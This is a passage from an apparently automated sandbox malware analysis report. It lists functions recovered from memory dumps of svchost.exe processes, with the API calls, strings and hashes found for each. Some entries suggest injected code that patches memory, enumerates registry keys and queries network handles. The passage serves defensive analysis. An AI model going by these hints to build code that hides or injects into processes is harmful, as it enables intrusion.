Instruction Fuzzy Hash: 6351E172188B80CAEB7D8F65B88B35D77A4F354B86F148156DB8A47BD5CB38C490C718

Function 00000257E107A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E107A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000257E107A288

Strings

csm, xrefs: 00000257E107A2DA
csm, xrefs: 00000257E107A1C2

Memory Dump Source

Source File: 00000042.00000002.3283125678.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 83f5e9c311c848ec4fd2a0c7c7ec5783ac5279642614553dd1b91d6c427617f7
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 0E51D432148B80CAEB7AAF25B84B37877A0F354B86F1C8155FA8947BD5CB78D491C708

Function 00000257E1078405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E1078413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10784A8

Strings

f, xrefs: 00000257E1078426
csm, xrefs: 00000257E107848E

Memory Dump Source

Source File: 00000042.00000002.3283125678.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: ee813d9cd048edd468e5633751c041e363784de44c713b5dfd16f397443d62c2
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 5A51D272749B008AEB5EEF15F80BB283795F350B99F5581A6DA064778CEB74DCC08708

Function 00000257E10783E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E1078413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10784A8

Strings

f, xrefs: 00000257E1078426
csm, xrefs: 00000257E107848E

Memory Dump Source

Source File: 00000042.00000002.3283125678.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: fef70a26cb8617019fb27fbb8b1d28829320fb28e202bfa77e2c679c26842ebd
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 7A31A271249B40D6E71AEF21FC4B72977A4F340B9AF158059EE5A07B88DB38C980C708

Function 00000257E10B2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000257E10B20D7
WriteFile.KERNEL32 ref: 00000257E10B239F
WriteFile.KERNEL32 ref: 00000257E10B23E5
GetLastError.KERNEL32 ref: 00000257E10B249B

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 68dab6fe74a75fbd6536b3dcbd820ba112786e56dfb684d69ab30bb7c3da5d7e
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 69D13032B58F8089E716CFB9E84A79C3BB1F354B99F008256CE5997B99DB38D406C344

Function 00000257E10A14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A14C5
HeapFree.KERNEL32 ref: 00000257E10A14D4
GetProcessHeap.KERNEL32 ref: 00000257E10A14E1
HeapFree.KERNEL32 ref: 00000257E10A14F0
GetProcessHeap.KERNEL32 ref: 00000257E10A1500

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 1db1360ba7b751730b1259011854ce9dc25cb220d1e3979c32bb2201401d3ca7
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 16015A32648F90C6E709DF66FD0A64A77A4F788F82F084825EA5A43729DE38C451C744

Function 00000257E10B2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000257E10B2A9C
GetLastError.KERNEL32 ref: 00000257E10B2B27

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: d3f0363712b424162af198fcb1f2ccd060454dcd3d61e37f8d2bcd7dd235890b
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 55912632758F5485F76ADF65AC4BBAD3BA0F344B8AF144189DE0A57A94CF34D482C708

Function 00000257E10A7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000257E10A798C
GetCurrentThreadId.KERNEL32 ref: 00000257E10A799A
GetCurrentProcessId.KERNEL32 ref: 00000257E10A79A6
QueryPerformanceCounter.KERNEL32 ref: 00000257E10A79B6

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: a2a4f887a9f13fcddb2c7929769560035c01c8ba1ff43c4decbc8a8071c20252
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: CA113C22754F018AEB01CF60FC5A3A833A4F719759F440E21EA6D867A4DF78C1A8C380

Function 00000257E10A253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000257E10A2620
StrCpyW.SHLWAPI ref: 00000257E10A2639

Strings

\\.\pipe\, xrefs: 00000257E10A262B

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: d8c6a38f007fb3a7686c76c7a8283c4c2af24b0e33f9ff83396385155cc53d9c
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 6F71E336288F8186E72EDE25BC5B3EE6B90F789B86F440066DD0A47B88DF34C641C714

Function 00000257E1079E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000257E1079EB7

Strings

RCC, xrefs: 00000257E1079E85
MOC, xrefs: 00000257E1079E7C

Memory Dump Source

Source File: 00000042.00000002.3283125678.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 72cc404f53ef2108c57ae6d6efccfd71c2e81a8e4ff4a0d360792559cd38555b
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: CD61AC33608F848AEB2AEF65E8463AD77A0F344B99F044655EF4A17B98DB38D095C704

Function 00000257E10A2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000257E10A2416
StrCpyW.SHLWAPI ref: 00000257E10A242D

Strings

\\.\pipe\, xrefs: 00000257E10A2421

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: f4fc28d39a0cdc524aee5adda2c2e0e63ac63cf0b53b223d59b02d2ca35e917c
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 3E51063268CF8181F67EDE29B85F3AAA761F385781F440175DE9A03B49DE39C504C768

Function 00000257E10B26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000257E10B2807
GetLastError.KERNEL32 ref: 00000257E10B2829

Strings

U, xrefs: 00000257E10B27B3

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 36eee36a702be5d229b17d9c9138d260910e3688b71927c4caf75304bb23e6ee
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: FE41A232359F8082EB26DF25F84A7AA77A0F798795F504021EE4D87794EB3CD441CB48

Function 00000257E10A94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000257E10A94F0
RaiseException.KERNEL32 ref: 00000257E10A9531

Strings

csm, xrefs: 00000257E10A951E

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: e302ae30e49da29a726c6f913943f5073bbf1f5ae9d0972a697904f802fd5f1d
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 55112B36219F8082EB668B25F84635977E5F788B95F584260EECD07758DF3CC551CB04

Function 00000257E1077356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000257E107737C

Strings

ierarchy Descriptor', xrefs: 00000257E1077381
riptor at (, xrefs: 00000257E1077364

Memory Dump Source

Source File: 00000042.00000002.3283125678.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 5c07be2ebc4b5c2c17967540651cfe820deff558361af11c6e94b5f60bbdcb6a
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 5FE086A1684F4490DF078F21FC4629873A0EB59B64F499162995C0A311FA38D1F9C300

Function 00000257E10773B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000257E10773D8

Strings

riptor at (, xrefs: 00000257E10773C0
Locator', xrefs: 00000257E10773DD

Memory Dump Source

Source File: 00000042.00000002.3283125678.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 558cecf372c16398b9b2aefa91b5521037ba77d7552cbc05b4debd7ca50bbfaf
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 65E086A1644F4490DF068F21E8421987360E759B54F889162C95C0A311EA38D1E5C300

Function 00000257E10A1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A1C2D
HeapAlloc.KERNEL32 ref: 00000257E10A1C3B
GetProcessHeap.KERNEL32 ref: 00000257E10A1C77
HeapFree.KERNEL32 ref: 00000257E10A1C85

Part of subcall function 00000257E10A152C: StrCmpIW.SHLWAPI ref: 00000257E10A155D

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 2d0e3eb43654a43f3f6b80af6b512799269a4d278d6165dc18c830e96e57c320
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: F8118C25645F4882EA0ADB66F84B72973A1FB89FC2F184468DE8D47766DE38C442C304

Function 00000257E10A1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A126E
HeapAlloc.KERNEL32 ref: 00000257E10A127D
GetProcessHeap.KERNEL32 ref: 00000257E10A1297
HeapAlloc.KERNEL32 ref: 00000257E10A12A8

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 8832b056897a9b8ba16723e3fafdb3eff0c8063a4678bd85c9cbe2902852df6c
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 48E06535A41F0486EB09CF62EC0E74A36E1FB89F06F08C424C91907361DF7D8499CB90

Analysis Process: svchost.exePID: 732, Parent PID: 7056COMMON

Executed Functions

Function 000001F28C931268 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C93126E
HeapAlloc.KERNEL32 ref: 000001F28C93127D
GetProcessHeap.KERNEL32 ref: 000001F28C931297
HeapAlloc.KERNEL32 ref: 000001F28C9312A8

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 8f8718106759883864cae2a8ca865240e286cea242c12ae6e8bb01d1b0de8f1e
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: F4E06DB5641E45C7EB048F62D8083AA3AE1FB8DF86F04C024C90907351DF7D8599C750

Function 000001F28C93328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001F28C9332AE
PathFindFileNameW.SHLWAPI ref: 000001F28C9332BD

Part of subcall function 000001F28C933844: StrCmpNIW.SHLWAPI ref: 000001F28C93385C

Part of subcall function 000001F28C933790: GetModuleHandleW.KERNEL32 ref: 000001F28C93379E
Part of subcall function 000001F28C933790: GetCurrentProcess.KERNEL32 ref: 000001F28C9337CC
Part of subcall function 000001F28C933790: VirtualProtectEx.KERNEL32 ref: 000001F28C9337EE
Part of subcall function 000001F28C933790: GetCurrentProcess.KERNEL32 ref: 000001F28C933809
Part of subcall function 000001F28C933790: VirtualProtectEx.KERNEL32 ref: 000001F28C93382A

CreateThread.KERNEL32 ref: 000001F28C93330B

Part of subcall function 000001F28C931D14: GetCurrentThread.KERNEL32 ref: 000001F28C931D1F

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: b4d9601b441b195fc890c788491207d0644a6a96c7f54882ecefb715d9f87218
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: B7118471AD0EC382FB60A731F8053F922D4B7543C5F98A1BCD90E87995EF79C0458200

Function 000001F28C931ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001F28C931628: GetProcessHeap.KERNEL32 ref: 000001F28C931633
Part of subcall function 000001F28C931628: HeapAlloc.KERNEL32 ref: 000001F28C931642
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316B2
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316DF
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9316F9
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931719
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C931734
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931754
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C93176F
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C93178F
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9317AA
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C9317CA

Sleep.KERNEL32 ref: 000001F28C931AD7
SleepEx.KERNELBASE ref: 000001F28C931ADD

Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9317E5
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931805
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C931820
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931840
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C93185B
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C93187B
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C931896
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9318A0

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: b67c1932e62b7ac0013a9a1692b6bd7ceba26b73bf7a76d8ab9135420b3866fa
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 81316871281EC292EB509B36DA512F963F5AB84BD4F0C74B1DE09876BAFF34C851C211

Function 000001F28C933844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000001F28C93385C

Strings

dialer, xrefs: 000001F28C933855

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 35bd7b7e84aeabd97046de9deeb150375f1cc12c8c169a2c29cf3a1cf66da4a6
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 3ED05E71391A8786FB149FA688C46B06390AB047C4F8C90B4CE0403550DB38C98E9610

Function 000001F28C1D273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001F28C1D285E

Memory Dump Source

Source File: 00000043.00000002.3294067605.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: f44ca3bbc8084d92389e86a6591f077caaf6d236089e246760dd531db40c924a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: C761A172B41AA287DB988F1590807B97BD2F754BD4F588135DF6907788DB38ECA2C700

Function 000001F28C93CA0C Relevance: 1.3, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 000001F28C93CA4A

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: aac0828ce12dfb82e5a667a172eb8e62085a22ffbd2f9ceececb1565634b64c0
Instruction ID: 37f6b4a35d52c06492a2f816035ee87f2c0b4da3a164c87f2d500a2a78e06805
Opcode Fuzzy Hash: aac0828ce12dfb82e5a667a172eb8e62085a22ffbd2f9ceececb1565634b64c0
Instruction Fuzzy Hash: 9CF085703A1EC385FA64A7B258113F612C04B88BE0F0CA3F0ED2AC72C2DB3C84808620

Non-executed Functions

Function 000001F28C932B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001F28C932BD0
lstrlenW.KERNEL32 ref: 000001F28C932E0A

Part of subcall function 000001F28C93199C: OpenProcess.KERNEL32 ref: 000001F28C9319C2
Part of subcall function 000001F28C93199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001F28C9319E0
Part of subcall function 000001F28C93199C: PathFindFileNameW.SHLWAPI ref: 000001F28C9319EF
Part of subcall function 000001F28C93199C: lstrlenW.KERNEL32 ref: 000001F28C9319FB
Part of subcall function 000001F28C93199C: StrCpyW.SHLWAPI ref: 000001F28C931A0E
Part of subcall function 000001F28C93199C: CloseHandle.KERNEL32 ref: 000001F28C931A1C

GetProcAddress.KERNEL32 ref: 000001F28C932BE5

Part of subcall function 000001F28C93152C: StrCmpIW.SHLWAPI ref: 000001F28C93155D

Part of subcall function 000001F28C933844: StrCmpNIW.SHLWAPI ref: 000001F28C93385C

StrCmpNIW.SHLWAPI ref: 000001F28C932C28
lstrlenW.KERNEL32 ref: 000001F28C932D50

Strings

ntdll.dll, xrefs: 000001F28C932BC9
\Device\Nsi, xrefs: 000001F28C932C1B
NtQueryObject, xrefs: 000001F28C932BDB

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 5ddfa2ae8d86f9d74b9217bdca104cd19bacd61b75c306f4a54b144b8a2605f5
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: A3B16776250ED286EB698F35D4417F963E5FB44BC4F4860B6EE0997BA6EB35C880C340

Function 000001F28C937D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001F28C937DAC
RtlCaptureContext.NTDLL ref: 000001F28C937DD9
RtlLookupFunctionEntry.NTDLL ref: 000001F28C937DF3
RtlVirtualUnwind.NTDLL ref: 000001F28C937E34
IsDebuggerPresent.KERNEL32 ref: 000001F28C937E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F28C937EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001F28C937EB4

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
